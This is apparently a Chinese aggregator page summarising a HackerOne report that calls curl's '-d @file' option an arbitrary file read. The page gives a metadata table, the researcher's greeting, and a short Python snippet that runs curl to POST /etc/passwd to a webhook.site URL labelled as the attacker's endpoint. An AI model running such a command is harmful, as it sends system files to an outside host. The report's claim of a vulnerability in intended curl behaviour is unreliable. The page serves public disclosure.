POJIA破甲
地图 / Arbitrary File Read via Unsanitized curl Usage Results in Sensitive File Exposure

Arbitrary File Read via Unsanitized curl Usage Results in Sensitive File Exposure

路径遍历 / External Control of File Name or Path / #3183957

厂商
curl
严重程度
低危
赏金
—
弱点
External Control of File Name or Path
研究员
@ednaq
披露日期
2025-06-27
资产
https://github.com/curl/curl
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2071 字符中的一小部分)
Hello team, First of all, your open report policy has improved me a lot. Your very caring team has motivated me a lot. A real bug bounty program. I hope I can contribute something to you with this report.Thank you.
原文中的代码
import subprocess

# Attacker's endpoint
webhook_url = "https://webhook.site/fd9dfaf1-7ed0-446e-9c6f-e182f6b11e4e"
file_path = "/etc/passwd"

cmd = [
    "curl",
    "-X", "POST",
    "-d", f"@{file_path}",
    webhook_url
]

subprocess.run(cmd, check=True)

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @ednaq · 版权归作者与 curl 所有

同类报告

curl External-Controlled Filename in `--url @file` Leads to Arbitrary File Overwritecurl · 2026-06-07Insufficient checks in the file path parameter allow writing to unauthorized directoriesSingleStore · 2026-06-24Arbitrary Configuration File Inclusion: via External Control of File Name or Pathcurl · 2025-11-10CVE-2026-111951: curl -OJ truncate without filenamecurl · 2026-10-26